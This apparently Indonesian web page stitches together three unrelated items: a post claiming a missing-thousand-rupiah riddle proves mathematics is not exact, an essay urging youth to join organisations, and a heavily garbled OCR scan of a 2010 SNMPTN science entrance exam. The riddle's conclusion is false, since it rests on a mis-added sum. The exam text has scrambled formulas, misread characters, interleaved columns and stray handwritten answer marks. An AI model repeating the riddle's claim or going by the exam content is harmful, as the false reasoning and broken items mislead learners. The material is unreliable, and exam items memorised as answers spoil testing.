Bukti bahwa Matematika bukanlah sebuah ilmu pasti (eksak)

jika kita mendengar kata eksak maka yang tertuang di dalam pikiran kita adalah tentang sebuah ilmu perhitungan seperti Fisika, matematika dan kimia, terutama untu ilmu matematika, sejak jaman pertama kali kita mulai belajar berhitung kita sudah dikenalkan bahwa matematika itu adalah eksak atau matematika sering disebut dengan ilmu pasti dalam hal ini yang dimaksud adalah jika 1 + 1 pasti akan hasilnya adalah 2 namun setelah lama belajar matematika saat ini telah ditemukan bukti bahwa tidak selamanya ilmu yang mempelajari matematika tidaklah sebuah ilmu pasti. coba perhatikan contoh cerita berikut ini :


Andi ingin membeli pizza, namun andi tidak punya uang, maka andi meminjam unag pada budi dan anton dengan jumlah masing-masing 25 ribu, sehingga andi telah mempunyai uang sebanyak 50 rubu, lalu Andi membeli pizza dengan harga 47 ribu, jadi andi mempunyai kembalian sebesar 3 ribu rupiah. untuk meringankan pinjaman andi maka andi memakai uang kembalian tersebut untuk mebayar hutang kepada budi dibayarkan seribu rupiah dan kepada anton seribu rupiah dan seribu rupiah sisanya disimpan sendiri sebagai pegangan, jadi setelah dibayarkan hutang andi kepada budi menjadi 24ribu, dan kepada anton juga menjadi 24ribu.

jika sisa hutang andi dijumlahkan maka : 24ribu + 24ribu = 48ribu, lalu dijumahkan lagi dengan yang disimpan andi sendiri maka : 48ribu + seribu = 49ribu, sementara tadi andi meminjam uang dengan total jumlah 50ribu lalu dimana seribunya??????

kalian bingung saya juga bingung... hehehehehehe..
jadi masihkah kita bisa sebut matematika itu sebuah ilmu pasti??? ternyata matematika bisa tidak pasti juga ya...

apayang kalian pikirkan?????!@##$$%%&^*((!)(_(__)(*&&^%$!@#!

AKTUALISASI PEMUDA MELALAUI ORGANISASI

“Berikan aku sepuluh pemuda, akan kugoncangkan dunia”
 

Inilah salah satu kalimat terdahsyat yang pernah dikatakan oleh Bapak Revolusioner kita, Bung Karno. Tak berlebihan apabila optimisme yang begitu besar disematkan pada generasi muda. Coba kita ingat kembali sejarah pemuda bangsa kita dahulu. Di era 1908 kita akan berjumpa dengan generasi pemelopor kebangkitan nasional dengan terbentuknya Boedi Oetomo sebagai organisasi nasionalis pertama. Kemudian dilanjutkan dengan perjuangan generasi 1928 yang dengan gagah berani mengikrarkan sumpah mereka yang selanjutnya kita kenal dengan Sumpah Pemuda. Sebuah sumpah yang mengawali penyatuan-penyatuan ideologi dari berbagai pemuda yang berbeda. Dan puncaknya ialah pada tahun 1945, dimana saat itu generasi muda ikut andil dalam memplopori perjuangan kemerdekaan hingga akhirnya kita bisa benar-benar merasakan bagaimana merdeka. Rentetan sejarah ini memperlihatkan pada kita betapa besar perubahan yang dapat dilakukan oleh pemuda. Tak dapat dielakkan lagi maju mundurnya suatu bangsa tergantung dari sentuhan-sentuhan yang dapat dilakukan oleh generasi muda. 

Kiranya cukup sudah kita bernostalgia dengan generasi muda dahulu. Kita lihat pemuda sekarang, calon pemimpin masa depan. Dewasa ini sering kali kita lihat di media-media berbagai problematika dari obat-obatan, minum-minuman keras, tawuran hingga pengangguran sering kali menimpa pemuda kita. Berdasarkan Data Kementerian Negara Pemuda dan Olah Raga (2008) mencatat, dari 220 juta jiwa jumlah penduduk Indonesia, sekitar 80,6 juta orang adalah pemuda. Namun, 10,8 juta pemuda yang berusia antara 15-35 berstatus sebagai pengangguran (baik terbuka maupun terselubung). Kondisi ini terjadi akibat rendahnya kesempatan kerja dan kurangnya upaya wirausaha dari kalangan pemuda (Detikcom, 11/06/08). Di sini baru terlihat eksistensi seorang pemuda lebih terlihat sebagai beban ketimbang harapan. Sungguh ironis memang, mengingat SDM pemuda yang kita miliki tidaklah buruk. Sudah berulang kali generasi pemuda kita menorehkan tinta emas di pentas dunia internasional, baik melalui olompiade sains maupun kejuaraan olah raga. Namun apalah arti sebuah kejeniusan apabila tidak diimbangi dengan kesadaran akan pentingnya bekerja dalam tim. Ibarat lidi apabila hanya sebuah apakah bisa membersihkan sampah yang berserakan, tentu tidak. Hanya dengan seikat lidi yang bersatu padulah semua bisa dilakukan.

Tanpa kita sadari, disinilah peran organisasi sangatlah dibutuhkan. Dimana dari sinilah pemikiran-pemikiran hasil bentukan pemuda ditampung yang kemudian diwujudkan dengan pergerakan-pergerakan yang bertujuan untuk kebaikan bersama. Disini pula para pemuda mampu mengembangkan diri membentuk pendewasaan pikiran serta melakukan daya analisis tinggi, dan yang terpenting adalah kemauan bekereja dalam tim. Hanya dengan bersatu perubahan dapat kita lakukan.

Namun nampaknya peran organisasi sendiri masih seringkali dipandang sebelah mata oleh segelintir orang. Yang mereka lihat organisasi adalah suatu kelompok yang beranggotakan orang-orang yang suka merusak, pemalas, ataupun orang-orang yang hanya bisa berkoar-koar belaka tanpa ada tindakan. Padahal kenyataannya sungguhlah tidak demikian. Hanya saja mereka yang tidak paham akan makna pentingnya suatu organisasi dalam membangun suatu bangsa. Oleh karena itu marilah kita tanamkan pada diri kita sendiri semangat kebersamaan dan persatuan. Kita bangkitkan kembali ruh semangat pemuda terdahulu. Kita tunjukkan bahwa kita bisa melakukan perubahan baik pada dunia sebagaimana predikat pemuda sebagai agent of change (agen perubahan), seperti yang dikatakan Bung Karno. Kita perangi bersama orang-orang yang memandang sebelah mata organisasi, karena mereka semua adalah pembunuh kreatifitas. Ayo Bangkit Pemuda!

•

SELEKSI NASIONAL

MASUK PERGURUAN TINGGI NEGERI

TAHUN 2010

KODE  TES BIDANG STUDI
MATEMATIKA

FISIKA

KIMIA

BIOLOGI

KEMENTERIAN  PENDIDIKAN  NASIONAL

DIREKTORAT  JENDERAL PENDIDIKAN  TINGGI
•

PETUNJUK  UMUM

1.      Sebelum  mengerjakan  soal,  Anda  diminta  untuk  7.  Selama ujian berlangsung, Anda  tidak diperkenan
meneliti kelengkapan nomor dalam berkas soal  ini.  kan  untuk  bertanya  atau  meminta  penjelasan
Tes  Bidang Studi  IPA  ini  terdiri  atas 60  soal  dari  4  kepada siapa pun tentang soal-soal ujian, termasuk
bidang  ilmu,  yaitu  Matematika  15  soal,  Fisika  15  kepada  pengawas ujian.
soal,  Kimia  15 soal, dan Biologi  15  soal.
8.      Selama ujian berlangsung, Anda tidak diperkenan
2.      Bacalah  dengan  cermat  aturan  dan  tata  cara  kan  keluar-masuk  ruang  ujian.
menjawab setiap  tipe  soal!
9.      Waktu  ujian  yang  disediakan adalah  90 menit.
3.      Tulislah jawaban Anda pada  lembar jawaban ujian
10. Harap diperhatikan agar  lembar  jawaban ujian tidak
yang  tersedia  sesuai  dengan  petunjuk  yang
kotor,  tidak  terlipat,  tidak basah,  dan  tidak  robek.
diberikan!
11. Setelah  ujian  selesai,  Anda  diminta  tetap  duduk
4.      Anda  dapat menggunakan  bagian  yang  kosong
sampai  pengawas  selesai  mengumpulkan  lembar
dalam  berkas  soal  untuk  keperluan  carat-caret.
jawaban  ujian.  Anda  dipersilahkan  keluar  ruang
Jangan menggunakan  lembar jawaban ujian untuk
setelah  mendapat  isyarat  dari  pangawas  untuk
keperluan  corat-coret.
meninggalkan  ruang.
5.      Selama ujian berlangsung, Anda  tidak diperkenan
12.Jawaban  yang  benar  diberi  skor  +4,  jawaban
kan menggunakan alat hitung dalam segala bentuk.
kosong diberi skor 0, dan jawaban yang salah diberi
6.      Selama ujian berlangsung, Anda tidak diperkenan
skor -1.
kan  menggunakan  alat  komunikasi  dalam  segala  13.Penilaian  didasarkan  atas  perolehan  skor  pada
bentuk.
setiap  bidang  ilmu.  Oleh  sebab  itu,  Anda  jangan
hanya menekankan pada bidang ilmu tertentu (tidak
ada  bidang  ilmu  yang  diabaikan).
14.Kode naskah  ini:  15281
PETUNJUK  KHUSUS
PETUNJUK A      Pilih jawaban yang paling benar (A, B, C, D,  atau E)
PETUNJUK  B      Soallerdiri atas tiga bagian, yaitu PERNYATAAN, SEBAB, dan ALASAN yang disusun

secara berurulan. Pilihlah

(A)  jika pernyataan benar, alasan benar, keduanya menunjukkan hubungan sebab akibat
(B)  jika pernyataan benar, alasan benar. tetapi keduanya tidak menunjukkan hubungan
sebab akibat
(C)  jika pernyataan benar, alasan salah
(D)  jika pernyataan salah, alasan benar
(E)  jika pernyataan dan alasan, keduanya salah
PETUNJUK  C      Pilihlah
(A)  jika Jawaban (1),  (2), dan (3) benar
(B)  jikajawaban(1)dan(3)benar
(C)  jika jawaban (2) dan (4) benar
(0)  jika jawaban (4) saja yang benar
(E)  jika semua jawaban (1), (2),  (3) dan (4) benar
DOKUMEN RAHASIA
Dilarang keras memperbanyak dan menjual kepada umum tanpa seizin Direktorat Jenderal Pendidikan Tinggi TES BIDANG  STUDI  IPA
810ANG ILMU  : MATEMATIKA, FISIKA, KIMIA, DAN 810LOGI
TANGGAL  :17JUN12010
WPKTU  : 90 MENIT
JUMLAHSOAL  :60
Keterangan  : MATEMATIKA nomor 1 sampai dengan nomor 15

FISIKA nomor 16 sampai dengan nomor 30

KIMIA nomor 31  sampai dengan nomor 45

810LOGI nomor 46 sampai dengan nomor 60

MATEMATIKA
Gunakan  PETUNJUK A  untuk  menjawdb  soal nomor 1  3.  Nilai  p  agar vektor  pi + 2j  - 6k  dan 4i  - 3j  +k
sampai dengan nomor 15!
saling tegak lurus adalah ....
1.  Oiketahui suku banyak  (A)  6
f"  ~\

P(x)  :=  X4  + 2x J  9x"  2x + k  habis dibagi  (8)  3./
 11  )
~¥;l/ (C)  1 x - 2. Jika  P(x) dibagi.\  I sisanya adr.ilah  ....
(D)  -1
(A)  8
(E)  -6
(8)  4
4.  Persamaan  kuadrat  yang  mempunyai  akar
(C)  0
1 1 7
(D)  -1  a dan b sehingga  a +b= 10 adalah ....
(E)  -2
(A)  X2  + 7x  10=0 2.  Jika garis singgung kurva  y  2xcos 3x di
(8)  X2  + 7x + 10 = 0 titik (Jr, -·2Jr)  tegak lurus dengan garis  g, maka
persamaan garis  g  adalah ....
(C)  x
2
-lOx+ 7 =:  0
(D)  x2
-7x  10 = 0  (A)  2x - 3Jr Y
(E)  Xl  -7x + 10 = 0 (8  )  Y  2x +Jr
5.  Himpunan  penyelesaian  pertidaksamaan
1  5
(C)  Y=-X--Jr
2-sinO  cosO  <0< 7r
2 2
---:s; --untuk 0 --- adalah ....
cosO  sinO  2
1
(D)  y::::--x+3Jr
2  (A)  O<O<Jr
-6
1
(E)  y=-x+Jr  (8)
O:S;O:s;Jr
2  6
O<O</T (C)
-3
7r<O<Jr (D)
6 3
Jr  <0 < Jr (E)
6  -3
© 201 0 Direktorat Jenderal Pendidikan Tinggi  Halaman  1 dari 9 •

6.  Oiketahui  limas  beraturan  T.ABCf)  dengan
10.0iberikan barisan  1I11  (-I,  I, I, I,  ...  ) dengan  n
panjang rusuk  6 em . Titik  P  pada C1'  sehingga
bilangan  asli.  Semua  yang  berikut  merupakan
TP: PC = 2: 1.  Jarak  /1  ke bidang  BDT adalah ....
rumus umum untuk barisan itu, kecuali  ....
(A)  I
(A)  1I11  (-I r (B)  2
(C)  fi      (B)  un  =-sin(n-+)11
(C)  UII
=-eos(n  1)11 (0)  J3  v
(0)  1I
1l
=  sin(n  1)11 (E)  212
-I, jikan ganjil
7.  Panjang dua sisi suatu segitiga adalah 10 em dan
11  ::::
(E)
8  em.  Semua  nilai  berikut  uapat menjadi  nilai      { I,  jika n genap /I
keliling segitiga tersebut, kecuali ....
11. Rumah di Jalan Veteran dinomori seeara urut mulai
(A)  33  em
1 sampai dengan 150. Berapa banyak  rumah yang
(B)  34  em
nomornya  menggunakan  angka  8  sekurang
(C)  35 em      /\~  kurangnya satu kali?
LJ.. (0)  36  em    
,')
(A)  14 (E)  37  em
(B)  15
8.  Oiketahui fungsi  g  kontinu di  x  3 dan      (C)  21
(0)  24 limg(\:)  2.
(E)  30
12.Suatu  kelas  terdiri  atas  10  pelajar  pria  dan  20
(  ()  x-J  )
Nilai  I,  im  g  x  r--r:::  adalah  ....      pelajarwanita. Separuh pelajar pria memakai arloji
,->3\  "X-"J
dan separuh pelajar wanita juga memakai arloji.
Jika dipilih satu pelajar, maka peluang yang terpilih
(A)  4f3      \' .'
wanita atau memakai arloji adalah ....
(B)  2..)3,"    
vv
(C)  fj    
(A)  I  I ()  \;
2
\  .
(0)  4      ,  (--:.
I "
(B)  J
(E)  2      3
3  '-'
9.  Oiketahui fungsi  /  dan  g  dengan  (C)
4
g (x)  f  (x"  +2:. Jika diketahui bahwa      2
(0)  3

g'(l)  8, maka nilai  /,(3) adalah ....

5
(A)  8  ~( "      (E)  6
(B)  6
13.Daerah  R  di  kuadran  satu,  dibatasi  oleh  grafik
(C)  4
("  (~      Y=X2,y=X+  2  dan  y=O.  Integral  yang (0)  2
(E)      menyatakan luas daerah R adalah ....
-I  0
(A)  J(x+2)dx+  Jx
2
dx
.,      ,  \  '  -2  -I
-2  ()
(B)  J(x+2)dx- Jx
2
dx
-I  -I
© 2010 Direktorat Jenderal Pendidikan Tinggi      Ha/aman 2 dari 9 •

-2  ()
fX
2
(C)  d'(+  f(x+ 2) (/\
I  -I
o
(0)  J(~x2+x-2)dr  (I
2
(E)  f(x
2
+x+2)cit
()
14. Luas daerah pada bidang  XOY  yang memenuhi
hubungan  Ixl +Iyl  ::;;  2 adalah  ....
(A)  8
(8)  6
(C)  4
(0)  2
(E)
FISIKA

Gunakan PETUNJUK A untuk menjawab soal nomor 16
sampai dengan nom  or 25!
16.Suhu gas  nitrogen  pada  saat  kelajuan  rms-nya
(root mean square) sama dengan v1
adalah ~g
K.  Jika  kelajuan  rms  gas  nitrogen  diperbesar
menjadi dua kali dari  v1
,  maka suhu gas nitrogen
tersebut berubah menjadi ....
• f
'l,.l
(A)  425 K
(8)  600 K  j
(C)  1146 K
(0)  1200 K  //"p
(E)  2292 K  ....  ~,),  ,)
17.Seorang sapir sedang mongondarai sebuah mobil
yang  bergerak dengan  kecepatan  tetap 25 m/s.
Ketika sopir melihat soorang anak yang tiba-tiba
menyeberang jalan, diperlukan waktu 0,10 s bagi
sopir untuk bereaksi dan mengerem. Akibatnya,
mobil melambat dengan percepatan tetap 5,0 ml
s') dan berhenti. Jarak  total yang ditempuh mobil
tersebut sejak sopir mclillat anak menyeberang
hingga mobil berhenti adalah  '  ...
(A)  11,00m
(8)  37,00 m
15. Oiketahui fungsi  f  dengan  lex) =  Jx _ /  ,x  :;t.  1
l3,  1 x =
Semua pernyataan berikut benar, kecuali ....
lim  .l(x) =  2 (A)
X----)j
lim  .l(x):;t.  f(l)
(8  )
x.1
(C)  f  mempunyai turunan di  x
(0)  ftidak kontinu di  x = 1
(E)  f  kontinu di  x  0
(C)  38,25 m
o (0)  48,00 m
(E)  65,25 m
18.Jika  kecepatan  rata-rata  sebuah  benda     sama
dengan nol, maka  ....
(A)  benda bergerak dengan kecepatan tetap  .j
(8)  jarak yang ditempuhnya sama dengan  nol
(C)  benda bergerak bolak-balik  v\
(0)  perpindahan benda itu sama dengan nol  /r~
(E)  kelajuan rata-rata benda sama dengan nol'
h-n
,j' 19.5ebuah  mesin  Carnot  menyerap  panas  dari
tandon  panas  bertemperatur  127°C  dan
'lr  membuang sebagian panasnya ke tandon dingin
bertemperatur 27°C. Efisiensi terbesar yang dapat
dicapai oleh mesin Carnot tersebut adalah  ....
I (A)  100%
(8)  90,7%
(C)  70.25%
(0)  25%
(E)  20,5%
© 201 0 Direktorat Jenderal Pendidlkan Tinggi      Halaman 3 dari 9
I •

20.Untuk  mendeteksi  struktur  sebuah  inti  yang
beradius  10.
15
m,  seberkas elektron dari sebuah
akselerator  partikel  ditembakkan  pada  sebuah
target padatyang mengandung kerapatan inti yang
tinggi.  Jika  panjang  gelombang  elektron  sama
dengan radius inti, maka akan terjadi efek difraksi
dan ukuran inti dapat ditentukan. Oalam kasus ini
be::>ar momentum berkas elektron yang diperlukan
adalah  ....  (h=6,63x10J1,J s)
(A)      6,6x10-19kgmsl
(8)      13,2xlO-19kgmsl
(e)      0,33 x 10  19  kg  ll1SI
(0)      3,3x 10-
19
kg ms·
1
(E)      3,3 x 10-
19
kg ms·
1
21.0awai gitaryang memiliki  panjang 1 m dan massa
10 9 menghasilkan bunyi nada atas kesatu pad  a
frekuensi  400  Hz.  8erapakah  besar  tegangan
pada dawai gitar  tersebut?
(A)  176,89 N
(8)  350,72 N
(e)  879,56 N
(0)  902,26 N
(E)  1600,00 N
22.0eskripsi bayangan sebuah benda yang terletak
20 em dari sebuah eermin sferis eembung berjari
jari 60 em adalah  ....
(A)      maya,  tegak,  60  em  di  depan  eermin,
diperbesar 3 kali
(8)      maya,  tegak,  60  em  di  belakang  eermin,
diperbesar 3 kali
(e)     maya,  tegak,  12  em  di  belakang  eermin,
diperbesar 3/5 kali
(0)     maya,  tegak,  12  em  di  depan  eermin,
diperkecil 3 kali
(E)      maya,  tegak,  60  em  di  belakang  eermin,
dipekecil1/3 kali
23.Empat buah muatan masing-masing q1  =-2  !-le,
% =1  !-le,  % =-1  !-le  dan  q4  =1  !-le  terletak  di
sudut-sudut  suatu  bujur sangkar bersisi  0,2  m.
8ila diketahui Go  adalah pennitivitas vakum, maka
potensial  listrik  di  titik  tengah  bujur  sangkar
tersebut adalah  ....
sJ2
(A)      --!-lV
4JrG0
sJ2
(8)      ---!-lV
4JrGo
2sJ2
(e)      --!-lV
4JrG0
J10
(0)      ---!-lV
4JrGo
(E)      OV
24.0ua  buah  muatan  titik  masing-masing  sebesar
10  !-lC  dan 4  !-lC  terpisah  sejauh  10 em.  Kedua
muatan  tersebut berada di  dalam medium yang
merniliki permitivitas relatif  sebesar 3. 8erapakah
besar gaya  yang  bekerja  pada  kedua  muatan
tersebut?
: ")
(A)  10 N  la (  I',  (
(8)  12 N    
,~-~
(e)  36 N  !-\
)
(0)  72 N
(E)      100 N
25.Sebuah  benda  digantung  pada  sebuah  neraea
pegas di dalam elevator. Pembaeaan skala pada
neraea pegas adalah  Tj
newton  ketika elevator
diam. 8ila elevator dipereepat ke bawah sebesar
5 m/s2,  berapa pembaeaan  skala  neraea  pegas
sekarang?  (g =10 m/s2)
(A)  TJi ....,-'    
C), I    
If  \
(8)      y;  '\)
(e)      y;/J2
v~
(0)      y;  /2  I \
(E)      27;
\\:1.
© 201 0Direktorat Jenderal Pendidikan Tinggi      Halaman 4 dari 9 •

Gunakan PETUNJUK B untuk menjawab soal nom  or 26
dan nomor 27{
26.Pada benda diam, resultan gaya yang bekerja pada
benda tersebut adalah nol.  ')
SEBAB  ~.
Pada benda diam tidak ada satupun gaya y~ng
bekerja padanya.  L
27.Gaya  Coulomb  dan  gaya gra~itasi  merupakan
gaya konservatif.  I
SEBAB
Gaya  Coulomb  dan  gaya  gravitasi  besarnya
berbanding terbalik dengan kuadratjarak.
Gunakan PETUNJUK C untuk menjawab soal nomor 28
sampai dengan nomor 30!
28.0ari hukurn pergeseran Wien untuk  radiasi termal
benda hitam dapatdisimpulkan bahwa ....
(1)      makin  ti'1ggi  suhu  suatu  benda,  benda
tersebut akan cenderung berwarna merah
(2)      makin  tinggi  suhu  suatu  benda,  frekuensi
gelombang radiasi benda tersebut semakin
tinggi  v
Gunakan PETUNJUK A untuk menjawab soa/ nomor 31
sampai dengan nom  or  40!  ~'  ..
"  ,I
(  "
,31.Pencampuran CaO  (A,:  Ca  = 40,0 =  16) dan
H2
0  (kalor  jenis  spesifik=  4 J  K-1  g-1)  berlebih
memberikan reaksi:
CaO(s) + H2 0  (t)  - Ca(OH)2  (s)  ; L1H  :::  - 64 kJ
Bila  panas  yang  dihasilkan  reaksi  ini  mampu
menaikkan suhu 100 gram air sebesar 0, 1K, maka
jumlah CaO yang bereaksi adalah  ...  :
(A)      0,045 9
(B)      0,080 9
(C)     0,105 9
(0)     0,350 9
(E)  3,500g

'f,  "/") ;'.r

.      .'  III  ~  )
(3)      intensitas  radiasi  benda  hitam  tidak
bergantung pada  temperatur
(4)      makin  rendah  suhu  suatu  benda,  benda
tersebut akan cenderung berwarna merah
29.Jika  sebuah  bola  pejal  konduktor  berjari-jari  R
diberi  muatan  listrik  +0,  maka  berikut  ini
pernyataan yang benar adalah ....
(1)      muatan  terdistribusi  secara  merata  di
permukaan bola K  '
(2)      medan listrik di dalam bola sama dengan nol  -<
(3)      potensiallistrik di dalam bola adalah tetapx
(4)      muatan terdistribusi secara merata di dalam
bola  ../  -l'-t'r',>8
30.Suatu gaya merupakan gaya konservatif  jika kerja
yang dilakukannya  terhadap benda ....
(1)      hanya bergantung pada keadaan awal dan
keadaan akhir 0
(2)      sama  dengan  perubahan  energi  potensiaJ
bend  a
(3)      tidak bergantung pad  a bentuk lintasan gerak
(4)      tidak  bergantung  pada  perubahan  energi
potensial  \(
32.Pembakaran sempurna 6,0 gram cuplikan yang
mengandung senyawa hidrokarbon menghasilkan
4,4  gram  gas  karbon  dioksida  (A,:  C  = 12,
o =  16).  Persentase  (%) massa  karbon  dalam
cuplikan tersebut adalah ....
(A)      10,0
(B)      20,01/
(C)      26,6
(0)      50,0
(E)      60,6
33.0alam     Sistem  Berkala  Unsur,  unsur X  terletak
pada  periode  ketiga dan golongan  15 atau  VA
Oalam keadaan ion, unsur  ini isoelektronik dengan
unsur gas mulia priode ketiga. Muatan ion X adalah
(A)      1
(B)      2
(C)      3-V
(0)     2 +
(E)      3 +
® 2010 Direktorat Jenderal Pendidikan Tinggi      Hafaman 5 dari 9 --
•
34.Tahapan  reaksi  dalam  analisis  kandungan
NiS (M =90) dari suatu batuan sebagai berikut:
r
NiS(s)  +  4HN03{aq}  ­
Ni(N03
}2(aq)  +  S{s)  +  2N02 {g)  +  2H2
0(t)
Ni(N03Maq)  +  2C4H8N20
2
(aq)  ­
Ni(C4
H7N20
2Ms)  +  2HN03
(aq)
8i1a  analisis  0,450  gram  batuan  memberikan
0,144  gram  endapan  Ni(C4
H7
N2 0
2 )2  (Mr
=288),
maka persentase (%) NiS dalam batuan tersebut
adalah ....
(A)  10,00  \'
(8)  5,00
(C)  0,50
(0)  0,05
(E)  0,04
35.Percobaan penentuan laju reaksi:
2H2(g)  +  2NO(g)  - 2H20(g)  +?N2 (g)
memberikan data sebagai berikut.
Percobaan  [H2lo  j  [NO)ol  laju awal  (vo)
ke  (moI.L-
1
)  (moI.L')  (molr' S··1)
1. ___-:"0~,O_::_i--__:::O,02  32
2.  0,02  ~62___~_---=-6=,4:::---_  3.  0,02 0,04  256
,F",  '
!,  I,'  I
Harga  tetapan .  rajll  reaksi  (mor
2
L2  S-1)  dari
reaksi tersebut adalah ....
(A)  4 x 104
(8)  2 x 106
(C)  4 X  106
(0)  8 X  106
v
(E)  4 x 107
36.Pada  tekanan  1  atmosfer,  larutan  sukrosa
(C'2H220'1)  dalam  air memiUki  titik  didih  101°C.
Jika Kb  air = 0;5oC/m,  maka konsentrasi  larutan
tersebut adalah ....  ..­
(A)  5,0 molar
(8)  4,0 molar
(C)  2,5 molal
(0)  2,0 molal'(
(E)  1,0 molal
37.Pada suhu  1  OooC, 2-butanol direaksikan dengan
asam  sulfat  pekat.  Hasil  reaksi  ini  direaksikan
dengan  gas  hidrogen  berbantuan  katalis  Pt.
Senyawa  yang  diperoleh  dari  reaksi  tersebut
adalah ....
(A)  butana J.9  .  A.
-~'f
'
(8)  1-butena  \['
(C)  2-butena
(0)  metil-propana
(E)  metil-propena
38. Oiketahui potensial reduksi standar berikut:
Cr3+(aq) + 3e- - Cr(s)  P= - 0,74 V
Mn04-{aq) + BH+ +5e- ­
Mn2+(aq) + 4H 0  Eo = + 1,51 V
2
Potensial sel standar  dari sel Galvani yang dibuat
dengan menggabungkan kedua setengah reaksi
di at  as adalah ....
(A)  -2,25V­
(8)  - 0,75 V  /  r-(
I }  ~
(C)  + 0,75 V
/),  }//
. !  1.$ (0)  + 2,25 V  \i
(E)  + 3,25 V  '7'~
39.Sebanyak 100 mL larutan NaOH 0,1  M dicampur
dengan  100 mL  larutan  asam sitrat,  HCH 36 s0
7
0,1  M.  Setelah  terjadi  kesetimbangan,  ion-ion
berikut yang mempunyai konsentrasi paling besar
adalah ....
(A)  H2
CHs
0
7
.'/
6
(8)  HC6
HsO/­
(C)  C6
HsO/­
(0)  OH­
(E)  W
40.Reaksi  antara  metanol  (CH3
0H)  dan  asam
propanoat (CH3CH COOH) yang dipanaskan pada
2
suhu tertentu akan menghasilkan ....
(A)  CH3CH2COOCH3
dan H20  v  cn" o!t
(8)  CH3
COCOOH dan H2
0
(C)  CH3
COOH dan CH3
COH
(O)  HOCH(CH2 0H)2 dan CH20
(E)  CH  CHOHCH 0H dan H2 0  (~{ .~ c(Jr'iX)l-1 ~  3 2
I  I (
® 201 0 Direktorat Jenderal Pendidikan Tinggi  Halaman 6 dar; 9 v
..
Gunakan PETUNJUK C untuk mer,jawab soal nomor 41
sampai dengan nomor  431
41.Percobaan  penentuan  titik  beku  larutan  garam
NaCI  dan  lan  .. :tan  urea CO(NH )2  menghasilkan z
data sebagai berikut:
Kc.nsentrasi
Larutan  (molal)  Titik baku  (OC)
NaCI  _~__9"-1_~~,,  __,__  '__-~~7,:..:::2=-----._
__N_a=C~I______~0~,2~______~-0~,~74~4~___
CO(NH2h  0,1  -0,186
Data tersebut menunjukkan bahwa penurunan titik
beku larutan ....
(1)      berbanding lurus dengan konsemrasiv
(2)      elektrolit lebih tinggi dari non elektrolit dengan
konsentrasi yang sama ~  ,/:>-"
(3)      bergantung pada jenis ikat.;m kimia senyawa,  A)
terlarut  ,j  L
(4)      bergantung  pada  jenis,.unsur  penyusun
senyawa terlarut  ./
42.Di antara molekul-molekul yang disusun dari atom
atom 7N.  sO.  gF. 16S,  dan nCI,  yang bersifat polar
adalah ....
(1)      CINO'
(2)      SF4'  ',' rt://
(3)      HCN  \
(4)      NO  'l
43.Reaksi  pembentukan  H2
0  dari  unsur-unsurnya
berlangsung sebagai berikut:
02 (g)  +  2H2 (g)  ->  2H20 (g)
Energi pembentukan O(g),  H(g) masing-masing
adalah 248 kJ/mol, dan 227 kJ/mol,  sedangkan
energi  ikat O-H adalah 464 ~J/mol. Pernyataan
yang benar untuk reaksi tersebut 2dalah  ....
(1)      perubahan entalpi reaksi adalah - 452 kJ
(2)      perubahan entalpi pembentukan 02 adalah,_ ~
248kJ  Xi
(3)      perubahan  entalpi  pembentukan  standar
H2
0  (g) adalah  - 226 kJ  v
(4)      perubahan entalpi pembentukan H2
(g)adalah
870 kJ
Gunakan PETUNJUK B untuk menjawab soal nomo, 44
dan noma, 45!
44.Penurunan temperatur pada reaksi
kesetimbangkan:  -1  8
N20 4(g)  =  2N02(g)  ilHo;:: +57,9 kJ~~'-­
akan memperbesar harga tetapan kesetimba~c6,  reaksi ters~but. (?  '<.(~  ~I
1')  \  SEBAB  '\'  ;
/,'      ~'w •  /      '  G'
Nilai tetapan kesetimbangan (K) bergantung pada
temperatur.  v
45. Korosi pada aluminium  tidak menyebabkan IQ~am
tersebut keropos seperti koro~,aida,  b~S1,'  t

SEBAB  (  ll·  , \'  !

, /  I
Oksigen  lebih  mudah  mengoksidasi  besi
dibandingkan  dengan mengoksidasi aluminium
(P 0/H2
0  = +1,23 V;  P  Fe2
+/Fe  :;:  - 0,44 V~
P  AP+I AI  ;::  - 1.676 V).
BIOLOGI

Gunakan PETUNJUK A untuk menjawab soal nomo, 46
sampai dengan nomo, 55!
\~Sel-sel  yang mengalami meiosis I dalam tubulus
"  seminiferus adalah ....
(A)      spermatid  \J
(B)      spermatozoa
(C)      spermatogonia
(D)      spermatosit primer;'
(E)      spermatosit sekunder
47.Molekul  atau  senyawa  yang  dapat  berikatan
dengan hemoglobin adalah ....
(A)      oksigen dan nitrogen  v
(B)      oksigen dan karbon monoksida
(C)      karbon monoksida dan nitrogen
(D)      karbon monoksida dan karbon dioksida
(E)      oksigen,  karbon  monoksida.  dan  karbon
dioksida
® 2010 Direktorat Jenderal Pendidikan Tinggi      Halaman  7 dari 9 48.Peranan  gen  asing  di  bawah  ini  merupakan
keberhasilan rekayasa genetika, kecuall ....
(A)      yang dimasukkan melalui plasmid terekspresi
r'.  pad  a  tumbuhan atau hewan transgenik
(8)\ yang  dimasukkan  melalui  plasmid  akan
\.j/ berintegrasi dengan genom tanaman target  v'
(C)      berkombinasi denga~ O~A  genom  yang
terdapat di dalam inti  \:/1
(D)      turut direplikasi p9da  tanaman atau hewan
transgenik  ' /
(E)      mempertahankan ekspresi gen target  .,/
49.Urutan pembentukan ATP  pada proses respirasi
aerob yang benar adalah  ....
(A)      siklus Krebs - glikolisis - pembentukan asetil
koA-transport elektron
(8)      transport elektron - glikolisis - pembentukan
asetil ko A  siklus Krebs
(C)      glikolisis - pembentukan asetil ko A- siklus
Krebs - transport elektron
(D)      glikolisis - siklus Krebs  pembentukan asetil
ko A- transport elektron ,..,
(E)      pembentukan asetil koA- transport elektron
siklus Krebs  glikolisis
50.8erikut merupakan Giri kelas Phaeophyta, kecuali
(A)      ganggang pirang
(8)      hidup di air tawar
(C)      mengandung pigmen fikosantin
(D)      dinding sel mengandung selulosa dan algin
(E)      perkembangbinkan  dengan  pergiliran
keturunarV'
51.Pernyataan  yang  benar  tentang  keberhasilan
proses evolusi ~,Ilyer~nsi  adalah ....
(A)      spesies  yang  berkerabat  jauh  tampak
sekerabat dekat
(8)      spesies sama yang menempati  lingkungan
berbeda
(C)      memiliki organ  tubuh  yang  secara  anatomi
sama
(D)      fungsi organ tubuh berbeda meskipun secara
anatomi sama  c~
(E)      fungsi organ  tubuh berbeda karena secara
anatomi berbeda
52.0alam  proses  fotosintesis.  pernyataan  yang
benar mengenai  fosforilasi  siklik  dan  nonsiklik
adalah ....
Fosforilasi  Fosforilasi  Fosforilasi Siklik

Siklik  Nonsiklik  dan Nonsiklik

tidak  terbentuk
(A)      dihasilkan ATP  dihasilkan oksigen
NAOPH
tidak terbentuk  dihasilkan
(8)      dihasilkan ATP
